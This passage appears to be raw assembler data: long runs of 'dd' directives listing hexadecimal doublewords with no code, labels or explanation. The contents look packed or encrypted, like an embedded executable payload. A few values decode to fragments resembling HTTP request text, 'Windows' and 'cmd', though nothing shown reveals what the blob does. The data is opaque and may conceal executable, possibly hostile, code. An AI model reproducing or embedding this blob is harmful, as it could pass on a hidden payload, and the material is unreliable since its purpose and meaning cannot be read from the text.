0D670F625h, 4C4CA9BDh, 7FC8DBECh, 94DDC3F2h, 4730BDB0h dd 3CBD5A73h, 8054EA57h, 8D74C8Ah, 3E3C64F9h, 861195FCh dd 0CF09AC25h, 75066025h, 58E1FC05h, 811A6A7Fh, 29FD167Ch dd 0E9470F1Dh, 5D68FFC9h, 66380A88h, 28987625h, 0E5C35E2Dh dd 0AEB8BC1h, 0D39F913Ch, 936A34C5h, 0BBED5DB6h, 92F97F65h dd 0B550D9Ah, 50C15E00h, 0D9950C82h, 0FB0792A2h, 0FD5A4496h dd 0D6D6FEEDh, 8D8B45A9h, 531E3EBCh, 8F070656h, 1DF54E74h dd 0C37F11ADh, 50FF6A03h, 849883BEh, 0EF3BE814h, 42B64FB7h dd 2F18C723h, 0DC50553Eh, 22365542h, 6FCD5E5Eh, 84C2AEFEh dd 484C189h, 5784D66Ah, 0DBB87527h, 0ACDC35EAh, 0D4F5274Ah dd 3FA8C450h, 0E9253023h, 0B21668B0h, 40755F04h, 50AAB857h dd 957288AAh, 0DEB52B5Dh, 683DE164h, 82313A5h, 424F043Ah dd 0F0C0C51h, 6E95845Eh, 6B212510h, 395413h, 7EF33B14h dd 45BF5610h, 9A72AF65h, 5D39140Dh, 0CD7A2A1Ch, 7CCA7BFAh dd 68A1117Dh, 0C51B88A5h, 7A39FA56h, 778430DAh, 9DE169BDh dd 0FA5D25E2h, 0C68D7939h, 97A70974h, 0E3BC9834h, 1B5F34DAh dd 395E1818h, 8B07D27Dh, 0B3BC752h, 5417FF7h, 32FAC449h dd 0AFB94C93h, 0A299A251h, 7D062E98h, 227202C4h, 38CA1C3Eh dd 1A74CB5Dh, 3A0BCF56h, 90DCD0D3h, 0F209F4A8h, 4723E08h dd 0AD76CA84h, 674BFF40h, 6D855DE6h, 31BE22A5h, 0C87131AFh dd 896C49Dh, 9506E18h, 2878860Fh, 0E29835E9h, 0B70483FFh dd 1085E85Eh, 29FA096Ah, 6E3071BAh, 0F1CF6B4Bh, 17FC1767h dd 0F80FE899h, 0DB1A8516h, 54122A4Ch, 85839CAAh, 934578EEh dd 362CD7Bh, 0B748575Ch, 6E5B414Eh, 56793423h, 744249E4h dd 447AD624h, 612B92E0h, 0DE7E8BFDh, 97F554CAh, 0CAE9D82Ah dd 0D897DBB3h, 4FFB68CCh, 4315A874h, 7AA65F4Ch, 7B2E168Dh dd 9573E1DBh, 0B411E365h, 0CDB6EBF4h, 851B45Ah, 6A2C747Eh dd 86C2C73Dh, 0C2747DCFh, 0BF81D84Bh, 2675A743h, 0BA96A1F8h dd 2AFFCB4h, 0C3940F5Bh, 0A7B0D1C1h, 602CFE1Dh, 0A3596886h dd 3401CA2h, 88D65475h, 0A919370Eh, 47F6643Dh, 5E244C11h dd 0B15FBCA7h, 10CFC67h, 0B1046A80h, 82394835h, 3889DF74h dd 13753490h, 45A21BA5h, 2B36C466h, 3D8B28FCh, 0CE20AA28h dd 10862765h, 0C58E45Fh, 3F83437Ch, 489C3E48h, 34FF3200h dd 0E73C8DB7h, 2ACCD6Ah, 84750B15h, 0E4BB465Ah, 0F04FEBEDh dd 2E00AC1h, 13F7B67Ah, 90FA0830h, 35EB3C05h, 4E4C897h dd 0C632F0B7h, 987A757Ch, 0DE030495h, 0F2B57E82h, 8E3A9870h dd 40CBA128h, 4DECD37Eh, 0B00C5407h, 4376483h, 4869B10Ah dd 95467452h, 403531FDh, 0B22B50C5h, 2EB4D90Dh, 0C9563197h dd 37EEBF5Ch, 5849C82Bh, 0A400B759h, 1BDBF740h, 23D3D0E5h dd 166FD84Dh, 7BD0415h, 215AAC46h, 3DF0847Ah, 688D338h dd 0E42F9F2Dh, 3ABA506Bh, 750CFA5Bh, 0B8A380Dh, 3D3C3804h dd 46845486h, 994E1A5Dh, 0CE8AD72Fh, 93C052Bh, 697FF8C1h dd 104BC3F7h, 8C3BFB41h, 8525C9A2h, 5F0B22FFh, 8D1A49C3h dd 13741820h, 0BD108B0Ah, 960B5FA4h, 0F6EA88F6h, 29E90435h dd 56DDC6D1h, 0E470F8EEh, 0A2DFA8C2h, 57501394h, 8E20D542h dd 6894287h, 0C4417097h, 0B1E9EBF9h, 19F26A63h, 4F595F2Fh dd 0D50F75C2h, 0FA0B6A45h, 0DCAA7FA0h, 0E4D8A53Dh, 89CC0174h dd 0B7D0103Ah, 0CC98414Eh, 529DE398h, 5086B75Bh, 2EF12EC0h dd 26C292F4h, 0F3E4539h, 2439EB11h, 0BE55E9D0h, 0A5413D14h dd 8DBF27C6h, 0D20AFF86h, 2B8C8129h, 4F022DC2h, 4BC10CE0h dd 0D469B95Dh, 0FF9A5E0Eh, 0B16DD53h, 0D3A4AD56h, 0CCCDA4E8h dd 5D754602h, 1CF18B34h, 8C3886E1h, 11560C8Bh, 8BEC30EDh dd 161BCECEh, 26DEFC32h, 0B03200C2h, 0F554F1h, 6C70C4Eh dd 415EA8CCh, 0DA151646h, 7A5A9D40h, 70BFABECh, 571A8A3h dd 0A2383CB8h, 0F180A9F0h, 9A160F22h, 0DC5AE1F6h, 86A40774h dd 596FE414h, 0B84E5044h, 3B9C622Ah, 34E8E45Bh, 95C6FF4Ah dd 4960F356h, 12C765ECh, 24530BE8h, 0F5A1CAD7h, 6885DE44h dd 90880184h, 1C91E9F1h, 0B98D69DCh, 9DA1C9A4h, 4888086Ah dd 1C72874h, 89E95230h, 7574B815h, 0EA348692h, 6877F377h dd 4D4A37DEh, 7045A7E0h, 19EE6E56h, 8C420B7h, 206819DEh dd 0F6453BACh, 0E082C2C4h, 0EBDC2089h, 5AA7FF15h, 235AF1F5h dd 0D2871415h, 23F486C8h, 3C720252h, 98B82BCCh, 0E899AF48h dd 0F20A6EF1h, 614584F0h, 0AF053E13h, 427C570Ch, 0D00F915Fh dd 0C2875789h, 0BA3AA908h, 0F84504F2h, 8242568Bh, 5427AA24h dd 50A91423h, 6823B088h, 0E9EBA0C8h, 2E745B45h, 0A9E95C3Dh dd 51CC4B0Ah, 0E47ACA51h, 8688577h, 643D1FADh, 781EE864h dd 0B7D1BE89h, 2362A81Eh, 0FF612068h, 196FD025h, 0C800CB2h dd 7843867Ch, 0EF9C2822h, 79850A65h, 626ABA2h, 3B7C39C0h dd 0B57005EBh, 8AE28879h, 0B5CCD27Bh, 1C9E90D8h, 0D5BF1465h dd 0C6F7C5A2h, 0FAB53E28h, 34FEB0F1h, 0EC1703EBh, 5E9D7E6Eh dd 0E50EB794h, 830942DAh, 14E009FBh, 801B0576h, 94257C3h dd 1988300Ah, 773F2670h, 0E21B8DAh, 54178A49h, 3C1139E5h dd 3B478207h, 7DF272F9h, 8084F412h, 31FE5328h, 7651072Eh dd 0C42A4DE2h, 423AD78Ah, 425B4C1Ch, 0CCABF51Ch, 6290F12Ah dd 58FF3044h, 0E7E0E837h, 0D99759B5h, 1AEB260Bh, 0EC652E0Ah dd 0B413C713h, 0C6147DA2h, 6AA93D5Fh, 5CA497E1h, 25748BD5h dd 48850FD0h, 8C3113C6h, 1307BF49h, 0C31DD47h, 7926834Ah dd 46A05808h, 0FF097405h, 0A2650471h, 57FFD787h, 29A90C62h dd 12CAC577h, 0BE37F057h, 7D295069h, 7DA5E561h, 0A0F996C9h dd 29D9F425h, 0E02FE490h, 0B86C415Ch, 0A06EBAC9h, 0C6E9C8EFh dd 4ECF13A2h, 2783E039h, 8FAA401h, 16D1E4F8h, 0E0B8C304h dd 0C0CFC9AAh, 0C4BA0BE1h, 691458C8h, 85082328h, 77AB10B8h dd 6640C51Dh, 0EC5C780Ch, 0A0B8C5ADh, 0DC941264h, 0AC383021h dd 5C29245Eh, 62F04412h, 368E1480h, 0A7700AEFh, 6C5D01h dd 0 dd 7701AF00h, 54454760h, 752F7220h, 0EC50EC48h, 302E0F31h dd 6F400A0Dh, 203A7473h, 14C72575h, 68977541h, 7A6972D0h dd 0BBD3EF61h, 4E260F6Eh, 14DB6765h, 1DAB1A77h, 0C400443h dd 771C71Ch, 553F2A8Ch, 45C57801h, 0F02FC2FFh, 83FF5C7h dd 603F50D8h, 31330D63h, 36033732h, 34643935h, 38B6D730h dd 31E9ED0Eh, 0D8F765C5h, 77613532h, 6834EA36h, 3E2A3A66h dd 0DF62F4FBh, 643F3F40h, 39633B72h, 0EB7E613Ah, 8F37E3DFh dd 1C8D36B7h, 382842B9h, 6E65E047h, 346D6061h, 8A2AB76Ch dd 0BD7E6617h, 3C366FBEh, 5ADBF4FFh, 52C272B0h, 70857835h dd 28093440h, 538CBF90h, 3309B0F0h, 80C410Ch, 99E10609h dd 100A0107h, 10BE03C1h, 49902BBh, 8050245h, 0BA305135h dd 28202F00h, 3858F038h, 371C0807h, 7C575E30h, 283F216Eh dd 7260EA17h, 0CF03DB68h, 37F788Bh, 3C3745DCh, 0E60F1B7Fh dd 830F8305h, 836E8328h, 2A6C8375h, 7F7A2905h, 0F6F7FD28h dd 75F7117h, 424F4C47h, 48074F41h, 0D7505745h, 0CFBD5F53h dd 444A5443h, 5E4D1F18h, 2352DF56h, 993D3848h, 31096E79h dd 66940014h, 70786572h, 6D0529DEh, 1C47646Fh, 0CF97968h dd 186311A4h, 21736261h, 20A4646Ch, 0B4663FC8h, 10172650h dd 0D96F6C24h, 65631130h, 23C2F569h, 0A87C6174h, 5F366F6Eh dd 716310F7h, 140CFD72h, 0A6322B61h, 45108B08h, 43FB3C42h dd 6828344Bh, 82FD108h, 0B0082F68h, 303167B6h, 0FA308A4h dd 658277E3h, 73158289h, 17EC001h, 11924150h, 477A0F80h dd 0C2734907h, 898E6F72h, 7692E8DDh, 75DACA46h, 1C2036D3h dd 85A46EF4h, 52454B0Ah, 3313F94Eh, 2B651030h, 5845E330h dd 3ABEB021h, 970C803h, 88010A6h, 10A43C44h, 2C112266h dd 74188808h, 7810CE3Eh, 0D6A32894h, 56DF193Ah, 3FAD8438h dd 11349963h, 1871089Dh, 0EF184003h, 48A1F389h, 0C2068BDh dd 0B82059B4h, 682C48E9h, 6C105A66h, 75722809h, 6D692CB3h dd 0A379391Dh, 506DE7CFh, 54242132h, 69531CDAh, 6F302612h dd 474E49A2h, 0B4800F96h, 41684D4Fh, 52501226h, 32301836h dd 202D1238h, 31AA98D4h, 6F74986Ch, 955643EAh, 0CCB7597h dd 0E7681C86h, 384970E1h, 11372802h, 0B0EE216Eh, 67750A7Ch dd 4873F668h, 4866A270h, 7AA0F966h, 39A56977h, 3868BFA6h dd 4C6B9C53h, 38642BF8h, 70083559h, 76EA9F92h, 7822694Ch dd 56844DAh, 241E63A6h, 0DA1A6F7Bh, 34281952h, 5FCD604Fh dd 9A0D2156h, 8B22FBAh, 0E321DD07h, 318A6023h, 93F3F839h dd 0D2B3BE70h, 21171A64h, 0E87CC743h, 38912CA5h, 0E85B5C92h dd 0A63AB082h, 2058AD1Ah, 0CB374724h, 0AD6F086Dh, 0C020D12Ch dd 2218616Ah, 306B630Ah, 2118B7F2h, 0A59B935h, 6065F6Dh dd 722444A3h, 7099016Dh, 0F7E76782h, 96BF42ADh, 305737C8h dd 5039549Ch, 4222AAFDh, 0AD6D56C9h, 2C125EE4h, 73BC3538h dd 29A175FEh, 94602273h, 352C4161h, 6EDF8AC1h, 6F3C8367h dd 6A3B350Ch, 56392725h, 2E4D2480h, 3A0CC235h, 0F5562C66h dd 38AB44DEh, 4DFB2B43h, 4CCEA152h, 39B562AAh, 68287928h dd 0C4175D0Ah, 210F8845h, 0D55024CAh, 37203AC3h, 5022E41h dd 6E6293Ch, 5ACC4DE1h, 0F677DA6Bh, 1F08B33Eh, 5A66E056h dd 502E5309h, 0FC54D14Dh, 82575165h, 46F468D9h, 53691672h dd 4AC02261h, 0D46024E2h, 0DCCD4D62h, 0C9F8A41h, 64EF679h dd 0E2A06C7Ch, 70246553h, 4E03954Fh, 0CC44766Fh, 5419C8A2h dd 0EC47085Ah, 5CB84C74h, 539A41E8h, 5003765Ch, 54E575FFh dd 57102214h, 0D264E685h, 27E84D4Ch, 42FC6761h, 0E8C178F6h dd 4E512331h, 110D97DBh, 0E1464230h, 86440848h, 0A0315368h dd 793C3C2h, 0A8304BC7h, 36819432h, 0A9BC0988h, 1197C208h dd 99D610B5h, 14AA0810h, 8510982Ch, 0E8999A12h, 4B76DC96h dd 12246402h, 0E7659972h, 6DD89ECh, 3B2359A8h, 11F41A99h dd 0AF43201Ah, 127F968Ch, 41CC98E0h, 0C4C889ECh, 0C9B0811h dd 935509C1h, 48DB2832h, 702AD378h, 0FC018446h, 0E06D1C73h dd 3C62101h, 5200A09h, 0C1101993h, 76424E54h, 8C0CD174h dd 8501316Ch, 0D84D88E5h, 69760870h, 0A009028Ch, 40A014ADh dd 8C29AC66h, 48025211h, 4C28D0B2h, 0E803445Ch, 6544A08Fh dd 3BAC29F8h, 0AA1C114Ch, 0AA4734B8h, 44324490h, 0F89FD029h dd 0B5306895h, 0B6800422h, 883C8014h, 4870A5AAh, 7CACC430h dd 4DB88954h, 0C7C4914h, 415AABC4h, 8C42283Ah, 1C9C1014h dd 1C10088Dh, 0E48D3030h, 1E3C7234h, 89016044h, 2BC4E370h dd 29A4F442h, 880402B8h, 0F1846895h, 5A324026h, 2805609Ah dd 45903F98h, 32680FECh, 6261090Ch, 0A11445A0h, 441CC41Ch dd 8C6298F8h, 99628817h, 0F4330311h, 929D8D9h, 489474BCh dd 0AC10C534h, 0A76C7498h, 0AC308898h, 7E24815Ch, 0F954210Fh dd 78210F90h, 2140457Ah, 1CBE51A8h, 84AC479Ch, 0B8629957h dd 210FA239h, 0B8A87AD8h, 979A7840h, 0F0FC448Ch, 0E1C6AE58h dd 188CAF4Eh, 0E008A188h, 9C9114A5h, 68217822h, 0B648C3ADh dd 8A01934h, 0B9BB013Bh, 80h, 0C3000000h, 40279F03h, 61422884h dd 606418F8h, 69F6C041h, 724C08C4h, 9B850111h, 5D0C286Ah dd 469C18A5h, 4E1A581Ch, 0C08286Ch, 0FF0431F2h, 0E0CC0382h dd 4887FFDh, 1901434h, 507A7EBh, 10030B01h, 94806C2h, 68D07F44h dd 45C00416h, 4045901h, 44CE6A0h, 0A60BC048h, 5D040003h dd 1CEB8A88h, 9F1C11C9h, 2B0108E8h, 2604810h, 0F30131C2h dd 3CC2033h, 30193820h, 1C142D2Ah, 140C2A88h, 28C75002h dd 9C08CA8Ch, 47012907h, 643075Ch, 31700D24h, 33703270h dd 35703470h, 2183668h, 0BC2E48DEh, 536F7070h, 20294063h dd 0CA8C6D08h, 10050CA4h, 0D0E8CED4h, 1136E521h, 310467F0h dd 0ECCF0A06h, 580024DCh, 6445CCFDh, 70B049h, 2C74AEDDh dd 5E60D296h, 341C0D57h, 0B4331870h, 1010457Ch, 96804C00h dd 62AE2F1h, 0A611CE4Dh, 0AF06D66Ah, 0CF4726Eh, 2B41FE29h dd 2344252h, 0BAADF00Dh, 0F4A80881h, 360C00Bh, 4D040082h dd 64574F45h, 9FA22904h, 3381244h, 3033542Eh, 9EA42829h dd 82C82248h, 0D8180544h, 4F026832h, 401A340h, 83CD28C4h dd 8702918h, 0B95620A6h, 10ABCA74h, 231FA5D9h, 7CA4E4A6h dd 0AA918FADh, 60740CF4h, 90895809h, 944E4012h, 0D10C784Ch dd 0C8D843D4h, 0B64F8250h, 34C42088h, 0AD014BE1h, 91486018h dd 5669204h, 6C0209EEh, 2CA710A4h, 78850821h, 0B4340C19h dd 70071C8Ah, 209398D8h, 0A911D24Fh, 57BE3D0Ch, 0E03221B2h dd 4858AE31h, 38F4E880h, 43381801h, 60294214h, 44F8A904h dd 873B7CC0h, 8168B849h, 31701C5h, 4AE90E80h, 8AF1C499h dd 7A6F5005h, 0E46A0285h, 30C9E843h, 506E6019h, 0DDAD818h dd 201524AEh, 0CA0C0C2Fh, 0CA5A0803h, 0EF28B6A8h, 932E804Ch dd 12685948h, 0C1DAEB0Eh, 95C20B8Bh, 10EB0090h, 0C9334A5Ah dd 7DB96600h, 0A348001h, 0FAE20799h, 39E805EBh, 9570CF21h dd 0C3C24098h, 0A96F38FDh, 0D912070Ch, 85E963DEh, 910E3D34h dd 0EA1F413Eh, 87EDC1A5h, 0F86A9AE1h, 62EAB9E7h, 8D03D7FCh dd 0CECF74AAh, 0A6EBC8h, 97F36B19h, 0ED3F6AC0h, 0C6019175h dd 0DC9D5E1Ah, 1087707Bh, 205412C7h, 5A9ABDDFh, 778483Ah dd 0FF50AA58h, 85F980EDh, 6FFE1CBDh, 998D1E9Bh, 0D863F912h dd 5F3D1A6Eh, 0F3499F97h, 1E71C006h, 941AC0D3h, 0CE66CFCBh dd 0D0C36531h, 26919CF3h, 3C937EDh, 9BE698C7h, 2A75632Ch dd 99C09E5Eh, 0AA0E4B9Dh, 0C1DE1059h, 0CACE89F3h, 3669289Bh dd 466D0D36h, 9061610Dh, 0D7DD751Ah, 38C03EEEh, 179D10C0h dd 3262757Bh, 0A506A1CFh, 5EFFD900h, 98B538DFh, 89DE1487h dd 1B87FAC9h, 6C6702C8h, 0A5E05E08h, 6EFDF4FAh, 0C9EF2A99h dd 0CB797AB8h, 0A78BEFDBh, 0C77D08DCh, 311C3584h, 46C860ECh dd 4B02248Ch, 7B32C0C3h, 715A0077h, 0F8FB6776h, 0ED01FCDEh dd 0FAF6EBC9h, 0B7C7FDD8h, 9913EAA7h, 0F80C1EDAh, 0CF1268EDh dd 0DCE3D81Dh, 0CDF1F0E1h, 0AE29B1F1h, 0ABAF6D5h, 0F7FB7C7Eh dd 3081E0F9h, 0C6ABEAEEh, 1EBDCFAAh, 5466F9B1h, 24C386F2h dd 3AF7F0FBh, 0EAB7F548h, 0F8868F7Ah, 0E9517CFAh, 0F6FBDBEBh dd 208B8CFEh, 959888E4h, 0C638219Ah, 9D347616h, 0C020813h dd 61646D63h, 65CD6B0Fh, 0F16F68E0h, 6EDD70C9h, 0D97325F4h dd 953E2606h, 3F14261Ah, 727EF775h, 3E053166h, 1448FD27h dd 0D074EC67h, 71E0124Fh, 74536975h, 0BF663C10h, 8E2DB770h dd 0C3A7333h, 6C65641Bh, 6CA46BCh, 66311A51h, 84280A0Dh dd 49700CA6h, 0DC24504Ah, 396954D3h, 3C765CF2h, 10E5616Dh dd 741C1F72h, 90260556h, 5022442h, 110FF830h, 208408ADh dd 244E3F0h, 424D53FFh, 0F261C672h, 0C27E9BC8h, 7A41337h dd 5097C062h, 4E012043h, 4F575445h, 0DFE34B52h, 0E547CE4Eh dd 0CC064D41h, 7930302Eh, 0D14E7A4Ch, 57010B06h, 6F646E69h dd 66D04377h, 31EA1FADh, 0DF676B08h, 837075F1h, 312E331Eh dd 4D513061h, 30583248h, 33B3D2E3h, 16DE2EEEh, 3220544Dh dd 16BF30CDh, 73888852h, 2E3B0764h, 441C60Ch, 201A0A11h dd 208042D4h, 20440781h, 55464B43h, 0F7A71D45h, 21509F0Dh dd 41A93E47h, 34F24802h, 7F026E1Ch, 0CF6F8C9Eh, 4783F842h dd 4A491448h, 4E009E4Bh, 5251504Fh, 55095453h, 81585756h dd 63626166h, 668B20h, 6A696867h, 6E6D6C6Bh, 7100E890h dd 75747372h, 14787776h, 0C3307A79h, 35343300h, 39383736h dd 182F2B21h, 81666053h, 899BEC50h, 0EDE8E614h, 683680DBh dd 7CD61209h, 19F76163h, 0E1084689h, 761440A2h, 6B0F6804h dd 0AACA2BD0h, 0C9E15E2h, 0FAC43F11h, 0D9248797h, 0DB316368h dd 80FF10F8h, 89D0FF99h, 7C8B56C3h, 50C7EC76h, 6F310B9h dd 0C0315EA4h, 53600250h, 0C56FF06h, 0D49ED98Bh, 5E5F00C4h dd 18E0FC5Bh, 7123E860h, 2400448Bh, 7C588D0Ch, 3A3C4383h dd 28278105h, 63EC582Eh, 37B8F00Eh, 24048B01h, 5014C483h dd 0CFC37C9Ch, 32EE64D2h, 0C6228966h, 9F1BB84Ch, 2B1C9C7h dd 0AFF3DFD0h, 43031D74h, 7E87BCEBh, 0F08F6410h, 60C36158h dd 8623BF4Ch, 3BC71F8Bh, 9F90789h, 78C781F8h, 0F9603EAFh dd 4741939h, 3EB009FEh, 5AF4FAF4h, 0ED05EDF3h, 64C3FA52h dd 4AF311E3h, 0FD43C6E0h, 0A16E0162h, 4036830Ch, 3C589B1Ch dd 8E511E6Eh, 460E1BEBh, 6CF89A04h, 45FC2824h, 54333C7Fh dd 0E9EA8C05h, 5AF0184Ah, 1EEBF020h, 0DF4938E3h, 0EE0A7C34h dd 0F95FF31h, 0E0A0ACFCh, 0CFC10774h, 0C7030D7Fh, 7C3BF4EBh dd 0E1758924h, 664048BBh, 4B640CECh, 0BF101C12h, 89E85462h dd 6163DD8Fh, 0E48708C2h, 0C4F88CFEh, 0D8F25428h, 28E8FC25h dd 7C115DE5h, 4FA0EF3Ch, 2E235F42h, 0AC99C083h, 40B7A684h dd 5488C2CAh, 75041A24h, 5B3344E3h, 3F4827CCh, 325C8919h dd 645A94C3h, 85301DB2h, 0E0F788Dh, 1C705D40h, 1468FCADh dd 5F0BE908h, 534147Fh, 6800087Ch, 0F6315F3Ch, 0EB3C5660h dd 0CEEF920Dh, 9880721Fh, 570E8AFEh, 0E8E713FFh, 236792EEh dd 61C9C5Bh, 1CE2B5Ch, 0A0022405h, 0A1257CB6h, 0B8431CB1h dd 21EB4403h, 45B89006h, 1FA73C66h, 2E3F69CEh, 2AD65C3Fh dd 1347402Bh, 0EB79621Dh, 51412C10h, 6B447276h, 59453322h dd 1C34010h, 68EF0F10h, 0CC180289h, 41B0A3h, 0D2C9B714h dd 0EF333ED9h, 1F253414h, 8A0238A3h, 1612F5Ch, 0A62D1FFh dd 28018EAAh, 0A1545522h, 15F6403h, 650350FEh, 28FF01AFh dd 1665703h, 2B0394FFh, 0CAFF0167h, 1681503h, 30AE5FFh dd 0F2FF0169h, 7F6A0385h, 342F901h, 0FC01BF6Bh, 4A6C03A1h dd 8841E301h, 0E0D06EBh, 6D501E10h, 83C93320h, 0D939B0E9h dd 247400EEh, 73815BF4h, 3C87B13h, 0EB83877Fh, 34E8E2FCh dd 0CA3894B3h, 78808720h, 0E7BFB937h, 0C2F7FDECh, 82035260h dd 90D807B0h, 0CEC1870Ch, 9401E8CFh, 0E0ED43CEh, 0BFF22686h dd 5D641E1Dh, 18CFF300h, 1EC98AB5h, 4173941Bh, 0BDAF5B8Dh dd 0EC40903Ch, 0D543E100h, 0C5970C34h, 0CB6C7E00h, 0A40EF4F5h dd 0E6630EFDh, 0E3C0E80Bh, 0C4F9A43h, 0F4D58803h, 0A074D4F7h dd 787C0C7h, 0D7860917h, 0F372193h, 0B1AEFC19h, 0A0B54C1Dh dd 97030C5Dh, 0C057808Dh, 3C7B9212h, 513E89F3h, 0E19A5000h dd 85773449h, 7DB39D00h, 0A6B11878h, 743D1E8Eh, 8A1E0128h dd 0D19BD42Ch, 0E38BD13Ch, 5E685063h, 0F6C1A7ECh, 0DBE05D66h dd 1EB8309Dh, 0D66FB339h, 0AF0126F2h, 51746CEFh, 0A9E09F6Eh dd 2D0CA0D4h, 0CEF92290h, 8D9CD70Ch, 34A882Ah, 1FB16017h dd 0E061D006h, 0E315BF19h, 0EA1C8083h, 0D7C03C41h, 0B31CF091h dd 3BDD2F0Eh, 0CC2A14h, 3D276274h, 9B36AAh, 0A3451453h dd 72632C47h, 2F5173Eh, 0BD78696Ah, 938C809Dh, 0CD62D8Eh dd 86158899h, 37F02A08h, 8617093Ah, 0D4B1DC11h, 1C154890h dd 388EE28h, 4838E43h, 4830BD0Ch, 5338E19Ah, 9BD8207Bh dd 2945C0D5h, 5FDD016Dh, 0EB884CA7h, 3356F81Bh, 2EC9434Eh dd 3A1ECF65h, 0E02D460Fh, 4C75565Bh, 72450E6Eh, 65C76241h dd 4652015Dh, 302C8D42h, 5024433h, 6798F40Ah, 0E801A32h dd 0E83F6F47h, 0C7685A65h, 72C77FEDh, 69741030h, 2E60676Eh dd 49555142h, 47DC54h, 20353234h, 6E156143h, 8FCA7427h dd 0FA7E7E64h, 0EAF3637Bh, 0B4529E8Dh, 2400520Eh, 32310302h dd 3508C55Bh, 15A21846h, 206E0F5Dh, 774F8019h, 0CA44654Eh dd 388C3215h, 0FA366C54h, 92726F54h, 0B0F966AAh, 6C706D82h dd 7FD6EDA3h, 563054CDh, 80EDB5B7h, 414E4942h, 0A859523Fh dd 6557926Dh, 0E689169h, 75544552h, 20A6404Ch, 7D4F503Fh dd 0A68E48A3h, 7573F380h, 0D765EDF5h, 6C53B677h, 0F5E46E91h dd 78189903h, 491404A2h, 5B07842Ah, 2A5D2C5Eh, 0A7CD606h dd 6B5844E1h, 4C9361B0h, 18225349h, 0E86150C6h, 0AC766928h dd 746F6E15h, 0DD405183h, 8D46A072h, 0F3EFAD83h, 0DC556968h dd 0D038B9E2h, 4114507Ch, 0A1B85653h, 0ED467954h, 0A462DC37h dd 0AE4915DDh, 6418A574h, 0A225D41h, 45505954h, 37358138h dd 0CB2F2220h, 631CABA6h, 2D647275h, 0E6644C33h, 56BEF90Eh dd 0C0C779A2h, 33044457h, 42524892h, 72358404h, 304CC19Dh dd 0ABCCAC53h, 6E74D08Fh, 51A09279h, 59F11964h, 0C933184Ch dd 89905568h, 67716F6Ch, 0BA8264EEh, 30B02ED0h, 312A338Eh dd 0D07766E4h, 71E03AD8h, 41EBD075h, 45535509h, 0D74A881Ah dd 2C85DD9Ah, 9F607730h, 2E39776Fh, 4983DA6Ah, 49856272h dd 40256401h, 15A11931h, 1420B44h, 90B87E3h, 0F94014EFh dd 6EF64C38h, 5AD03471h dd 0A5318F0Ah, 383B626Dh, 25BBD31h, 65384F22h, 382D39CAh dd 382F3144h, 84478B38h, 74AE6E76h, 10A11A6h, 17610CA8h dd 4029E508h, 906E105Ch, 159B8EC0h, 386D7973h, 0B4097ACh dd 402825AFh, 148D053h, 445626D7h, 6174C054h, 15CB3A6Ch dd 14F30835h, 11734ACFh, 948E2C65h, 13635313h, 199536C4h dd 78452013h, 0F06FC70Bh, 78536E1Ah, 673D9BDh, 3787D263h dd 30144E2Dh, 41C533ADh, 344EE50Eh, 86B241DFh, 2E53CE90h dd 6E43E228h, 50491597h, 2E8B893Ah, 96BE18B5h, 4B096961h dd 46E79264h, 9F279BADh, 0D908B72Ch, 4B3E6788h, 763CA508h dd 92C5355h, 2C6A3639h, 35A17450h, 34232C94h, 8374BB46h dd 0A9521049h, 9616A8B6h, 3BB4673h, 10F4CC43h, 10E441C4h dd 0E906061h, 75C824Ch, 1DA90895h, 8FBADE3Bh, 0EC2409Ah dd 64EA1C8Eh, 7553D0A6h, 162D6229h, 503A2EE5h, 2AF3CE41h dd 0A2EA68E4h, 0F583AAFh, 0FF66EA18h, 0E3967214h, 754E306Dh dd 29732822h, 0CF669DA1h, 4EBA83B6h, 804AA48Dh, 68DD9A54h dd 0EAA59A6Bh, 44875687h, 3259E148h, 17352B1Fh, 2D6DE123h dd 0F19097A3h, 89490254h, 0DF650FB7h, 0CC7ABF7Fh, 17723650h dd 53E5F94Ch, 319C682Dh, 0F347701Ah, 304944DBh, 0D2907601h dd 701294FFh, 69895F19h, 0D943399Ah, 12DB038Eh, 145F75ABh dd 36BF41CDh, 33C4763Ch, 382E323Fh, 5328D06Ch, 444C5112h dd 55995012h, 0DF461008h, 0C448125Ch, 10831043h, 6F54418Ch dd 69116356h, 56328D21h, 30726895h, 0F7990D0h, 41766E45h dd 5072D4DFh, 43CA91D0h, 8713EE53h, 0C0729A4Eh, 68434853h dd 656796C5h, 66694190h, 0BD21DF79h, 2A522EE8h, 51B984AEh dd 2D0C1073h, 0B44E6957h, 0BB636861h, 0F5284B24h, 0B574132h dd 0CE41C818h, 2D3464EEh, 61142AF4h, 72706D52h, 34126055h dd 0F649C193h, 5C18247h, 0AC2579BEh, 9115151h, 1A626154h dd 68538700h, 0F73A7F8Eh, 44403091h, 0F446736Eh, 50A6A275h dd 0A46F7858h, 636128E7h, 5F3E88B2h, 0EC20A741h, 3B826431h dd 4DBF3646h, 6A0203Eh, 664E7542h, 51414C14h, 1878A25Ch dd 83A17B94h, 6F666E05h, 2BBC1076h, 220C6D75h, 8A188EB3h dd 0D60C2CD7h, 0FE4D906Dh, 444F2954h, 0D0419A44h, 0C9925812h dd 51531419h, 40756486h, 626F4AD2h, 0D4146FD0h, 5D426889h dd 0C36D10A1h, 2A030C1Dh, 0B818456Eh, 49843023h, 233E8463h dd 0A22B45B0h, 4313106Fh, 94732009h, 7521D232h, 56778979h dd 3C8C2140h, 7A6F4D1Bh, 2F61D828h, 302E0934h, 40EB2820h dd 66694C24h, 2C482995h, 0DBB4BF6Eh, 140C4C3Dh, 8434B252h dd 0BA28854Eh, 6B1E59C8h, 416C8A55h, 347A5A14h, 14871386h dd 3AC924A1h, 48242709h, 0D7CCF4EFh, 14741164h, 0E4143410h dd 0BA473C62h, 4A4C893Fh, 783D852Fh, 71651C6Ah, 37ABD677h dd 6352FF86h, 46E972D8h, 6CE120B4h, 6DC46CD4h, 0A16D7D61h dd 34BA680Ch, 0E3796214h, 8540B271h, 8E1E2210h, 822C8C10h dd 310C2F42h, 4B70D69Fh, 0EA426162h, 0B16C0804h, 0DBA07C0h dd 7AC6EA39h, 58696226h, 76ABA2C9h, 6DC3E166h, 962C0C59h dd 0F058F891h, 7C3A1169h, 10B3C70Fh, 73C808E9h, 6CEDC1BEh dd 2210041Dh, 0A4BA5FC9h, 0FF530C2Dh, 0A43A1958h, 570A5AC6h dd 743E06Ch, 53127C4Ch, 0BCCF1441h, 702A6248h, 4C23A90Ch dd 45A284F6h, 10024EA5h, 7C338849h, 1D705F1Ch, 5D494446h dd 20684A73h, 90FCBF2Ch, 0AE637F01h, 0EA21DEC8h, 0C49EF53h dd 5400A475h, 4C327377h, 0D8A49A5Fh, 622E4FCCh, 10E8746Ah dd 